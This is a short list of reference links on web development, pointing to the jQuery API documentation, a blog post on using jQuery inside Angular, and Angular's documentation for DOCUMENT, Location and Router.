* [jQuery API Documentation](http://api.jquery.com/)
|
|
* [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
|
|
* [Angular Document](https://angular.io/api/common/DOCUMENT)
|
|
* [Angular Location](https://angular.io/api/common/Location)
|
|
* [Angular Router](https://angular.io/api/router/Router)
|